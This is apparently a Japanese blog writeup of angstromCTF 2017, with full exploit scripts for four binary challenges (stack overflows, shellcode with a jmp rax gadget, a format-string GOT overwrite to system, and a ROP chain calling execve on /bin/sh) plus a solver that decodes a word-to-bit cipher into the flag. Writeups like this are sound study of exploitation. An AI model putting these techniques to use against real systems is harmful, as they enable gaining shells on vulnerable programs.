h_nosonの日記

競プロなど

angstromctf 2017 Writeup

angstromCTF

チームで参加しました。
Crypto1問、Binary4問解いて470点。チーム全体で780点取り15位でした。
他のメンバーのWriteup

Writeup

Running in Circles (Binary 50)

このCTFのBinaryはすべてソースコードも渡された。 ソースコードを見てみるとシェルを開く関数が用意されている。

void give_shell()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

mainでは入力するバイト数を読み込んでその分読み込みを行うようになっている。elseの部分を見てみると256引いてから残りのバイト数をチェックせずに読み込んでいるため、スタックバッファオーバーフローが起こせる。あとは戻り番地をシェルを開く関数に変えて終わり。

int main(int argc, char **argv)
{
    char buffer[256];
    int pos = 0;

    printf("Welcome to the circular buffer manager:\n\n");
    while(1)
    {
        int len;
        printf("How many bytes? "); fflush(stdout);
        scanf("%u", &len);
        fgets(buffer, 2, stdin);

        if (len == 0) break;

        printf("Enter your data: "); fflush(stdout);
        if (len < 256 - pos)
        {
            fgets(&buffer[pos], len, stdin);
            pos += len;
        }
        else
        {
            fgets(&buffer[pos], 256 - pos, stdin);
            len -= (256 - pos);
            pos = 0;

            fgets(&buffer[0], len, stdin);
            pos += len;
        }

        printf("\n");
    }

    return 0;
}
from ppapwn import *
import time

if __name__ == '__main__':
    s = Local(["./run_circles"])
    print s.recvuntil("bytes? ")
    s.sendline("544")
    print s.recvuntil("data: ")
    s.sendline("A"*535 + p64(0x400806))
    print s.recvuntil("bytes? ")
    s.sendline("0")
    s.interact()

Art of the Shell (Binary 80)

void be_nice_to_people()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

void vuln(char *input)
{
    char buf[64];
    strcpy(buf, input);
}

int main(int argc, char **argv)
{
    if (argc != 2)
    {
        printf("Usage: art_of_the_shell [str]\n");
        return 1;
    }

    be_nice_to_people();
    vuln(argv[1]);

    return 0;
}

権限昇格をしてくれているのでシェルを開くだけでよさそう。strcpyはraxにbufの先頭番地を格納するので、シェルコードをbufの先頭に置いてROPでjmp raxをすればいい。

# exploit.py
from ppapwn import *

if __name__ == '__main__':
    payload = ""
    payload += get_shellcode("lin64")
    payload += "A" * (72 - len(payload))
    payload += "\x65\x05\x40" # jmp rax
    print payload
$ ./art_of_the_shell $(python exploit.py)

To-Do List (Binary 140)

リストを表示する部分にフォーマットストリングバグの脆弱性がある。

void view_list()
{
    char list_name[16];
    if (!read_list_name(list_name)) return;

    FILE *fp = fopen(list_name, "r");
    if (!fp)
    {
        printf("Error opening list\n");
        return;
    }

    char item[ITEM_LENGTH];
    while (readline(item, ITEM_LENGTH, fp))
    {
        printf(item);
        printf("\n");
    }

    fclose(fp);
}

以下のように繰り返し%pを入れると10個目の引数の部分がbufの先頭に当たることがわかる。

> c
Enter the name of the list: hoge
AAAAAAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

> v
Enter the name of the list: hoge
AAAAAAAA0x1,0x2e,0xe,0x7ffc410fa660,0x2c70252c70252c70,0x7ffc410fa6c0,0x232c010,0x65676f68,(nil),0x4141414141414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70

writelineで入力で受け取った文字列をfwriteに入れているのでfwriteをsystemに変えればシェルを開けそうとわかる。

static void writeline(char *buffer, int len, FILE *fp)
{
    int newline_idx = strcspn(buffer, "\0");
    if (newline_idx == len) newline_idx = len - 1;

    buffer[newline_idx] = '\n';
    fwrite(buffer, newline_idx + 1, 1, fp);
}

fwriteのGOTをsystemのアドレスに上書きするために、まず以下のようにfwriteのオフセットを知り、実際のfwriteの番地からオフセットの値を引くことでlibcの番地を割り出す。そのlibcの番地にsystemのオフセットを足せばsystemのアドレスになるのでその値をfwriteのGOTに上書きする。

ubuntu-xenial% ldd todo_list
        linux-vdso.so.1 =>  (0x00007ffe60ad0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb2a916b000)
        /lib64/ld-linux-x86-64.so.2 (0x00005600f5703000)
ubuntu-xenial% nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -e " fwrite$" -e " system$"
000000000006e6e0 W fwrite
0000000000045390 W system

以下がexploitコード。ペイロードを送るときにバッファにゴミが入っていることがあるため、初めに(8~9行目あたりで)0埋めしている。

from ppapwn import *

def leak(addr):
    s.sendline("c")
    s.recvuntil("list: ")
    s.sendline("leak_addr")
    for i in range(1,63)[::-1]:
        s.sendline("A"*i)
    s.sendline("%11$sAAA" + p64(addr))
    s.sendline("")

    s.sendline("v")
    s.recvuntil("list: ")
    s.sendline("leak_addr")
    s.recvuntil("\nA\n")
    return u64(s.recvuntil("AAA")[:-3])

def got_overwrite(target,addr):
    s.recvuntil("> ")
    s.sendline("c")
    s.sendline("got_overwrite")
    for i in range(1,63)[::-1]:
        s.sendline("A"*i)
    for i in range(0,6,2):
        payload = ""
        payload += "%" + str(u64(p64(addr)[i:i+2])).rjust(6,'0') + "x"
        payload += "%12$hnAA"
        payload += p64(target+i)
        s.sendline(payload)
    s.sendline("")
    s.recvuntil("> ")
    s.sendline("v")
    s.sendline("got_overwrite")
    s.recvuntil("> ")

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./todo_list"])
    else:
        s = Remote("shell.angstromctf.com",9000)
    s.sendline("hack")
    s.sendline("hack")

    got_fwrite = 0x6020c8
    offset_fwrite = 0x6e6e0
    offset_system = 0x45390

    libc_base = leak(got_fwrite) - offset_fwrite
    print "[*] leak libc base:", hex(libc_base)

    print "[*] overwrite fwrite GOT"
    got_overwrite(got_fwrite,libc_base+offset_system)

    s.sendline("c")
    s.sendline("exploit")
    s.sendline("/bin/sh")
    s.recvuntil("list: ")
    s.interact()

No libc for You (Binary 150)

getsしてるだけの単純なプログラム。スタックバッファオーバーフロー脆弱性がある。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln()
{
    char buf[64];

    gets(buf);
    printf("You said: %s\n", buf);
}

int main(int argc, char **argv)
{
    vuln();

    return 0;
}
ubuntu-xenial% file nolibc4u
nolibc4u: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=5706d8c0dd81b6dd639555de66affc8100fc4887, not stripped

静的リンクなので関数のアドレスは簡単にわかるがsystemはない。なのでROPでシステムコールを呼び出すことによってシェルを起動することにした。 以下のようなアセンブリコードをROPで実現する。

# setresuid(1003,1003,1003)
mov rax, 0x75
mov rdi, 1003
mov rsi, 1003
mov rdx, 1003
syscall

# execve("/bin/sh",0,0)
mov rax, 0x3b
mov rdi, ["/bin/sh"のアドレス]
mov rsi, 0
mov rdx, 0
syscall

それぞれのガジェットを探してみるとpop rax以外は見つかった。

ubuntu-xenial% rp++ -f nolibc4u -r 2 --unique | grep -e "pop rdi ; ret" -e "pop rdx ; pop rsi"
0x004014c6: pop rdi ; ret  ;  (177 found)
0x00441d29: pop rdx ; pop rsi ; ret  ;  (1 found)
ubuntu-xenial% rp++ -f nolibc4u -r 1 --unique | grep "syscall" | grep "ret"
0x004666d5: syscall  ; ret  ;  (5 found)

そこで、printfが出力した文字列の長さをraxに入れて返すということを使ってraxに値を代入した。例えば、長さ0x75の文字列を用意してprintfすればraxに0x75が入る。また、このprintfで出力する文字や"/bin/sh"はスタックに書き込んでもアドレスがわからないため、bssセクションを使った。bssセクションのアドレスはreadelfコマンドでわかる。

ubuntu-xenial% readelf -S nolibc4u | grep "\.bss"
  [26] .bss              NOBITS           00000000006cab60  000cab50
from ppapwn import *

if __name__ == '__main__':
    syscall = 0x4666d5
    pop_rdi = 0x4014c6
    pop_rdx_rsi = 0x441d29
    xor_rax = 0x42550f
    bss = 0x6cab60
    vuln = 0x4009ae
    gets = 0x40fb60
    printf = 0x40f330

    s = Local(["./nolibc4u"])
    # s = Local(["/problems/no_libc_for_you/nolibc4u"])

    payload = "A" * 72
    payload += p64(pop_rdi) + p64(bss)
    payload += p64(gets)
    payload += p64(pop_rdi) + p64(bss+8)
    payload += p64(gets)
    payload += p64(pop_rdi) + p64(bss+8)
    payload += p64(xor_rax)
    payload += p64(printf)
    payload += p64(pop_rdi) + p64(0)
    payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
    # payload += p64(pop_rdi) + p64(1003)
    # payload += p64(pop_rdx_rsi) + p64(1003) + p64(1003)
    payload += p64(syscall)
    payload += p64(vuln)
    s.sendline(payload)

    s.sendline("/bin/sh")
    s.sendline("A" * 117)

    payload = "A" * 48 + "\0" + "A" * 23
    payload += p64(pop_rdi) + p64(bss)
    payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
    payload += p64(syscall)
    s.sendline(payload)

    s.interact()

Descriptions (Crypto 50)

テキストファイルが一つ渡される。

The horse was a small falcon runner.
The horse was a huge goat pitcher.
The pig is a quick falcon singer.
The goat was a quick sheep speaker.
The sheep is the big goat pitcher.
The sheep was a slow sheep hitter.
The horse is a tiny goat dancer.
A cow is the huge bluejay dancer.
The falcon is the fast sheep pitcher.
The pig was a speedy falcon pitcher.
The pig was the speedy goat singer.
The goat was a huge sheep hitter.
The horse was the speedy sheep runner.
The cow was a speedy bluejay singer.
A sheep is a small falcon catcher.
The cow was the fast cow singer.
The goat was a sluggish sheep catcher.
The goat is the slow robin catcher.

1行で7ワードあるのでそれぞれのワードを1ビットに置き換えれば1行で1文字になりそうという直感を信じたらうまくいった。actf{…}の形式であることはわかっているので、そこの部分のビットはすぐにわかる。残りの部分が問題だが、後半のencod1ngがちらっと見えたのと、割り当てるビットに規則性(hitter,runner,catcherなど同じカテゴリのものは同じビットになる)があったので結構すんなりといけた。

# solve.py
def decode(c):
    if c in dic:
        return dic[c]
    else:
        return "*"

dic = {}
dic["tiny"] = "0"
dic["dancer"] = "0"

dic["hitter"] = "1"
dic["speedy"] = "1"
dic["fast"] = "1"
dic["bluejay"] = "0"
dic["cow"] = "1"
dic["sluggish"] = "1"

dic["robin"] = "0"
dic["slow"] = "1"
dic["quick"] = "1"
dic["big"] = "0"
dic["small"] = "0"
dic["singer"] = "0"
dic["speaker"] = "0"
dic["The"] = "1"
dic["the"] = "1"
dic["A"] = "0"
dic["a"] = "0"
dic["was"] = "0"
dic["is"] = "1"
dic["horse"] = "1"
dic["huge"] = "0"
dic["falcon"] = "0"
dic["runner"] = "1"
dic["goat"] = "1"
dic["pitcher"] = "1"
dic["catcher"] = "1"
dic["pig"] = "1"
dic["sheep"] = "1"

ans = ""
for line in sys.stdin:
    x = "".join(map(decode,line.strip(" .\n").split(" ")))
    print x,
    if all([c != "*" for c in x]):
        print chr(int(x,2))
        ans += chr(int(x,2))
    else:
        print ""
        ans += "*"
print ans
ubuntu-xenial% ./solve.py < sentences.txt
1100001 a
1100011 c
1110100 t
1100110 f
1111011 {
1100111 g
1110010 r
0111000 8
1011111 _
1100101 e
1101110 n
1100011 c
1101111 o
1100100 d
0110001 1
1101110 n
1100111 g
1111101 }
actf{gr8_encod1ng}

感想

割と解けたと思ったが後から考えると簡単な問題だったのでpwn良問集などでもっと力を付けたい。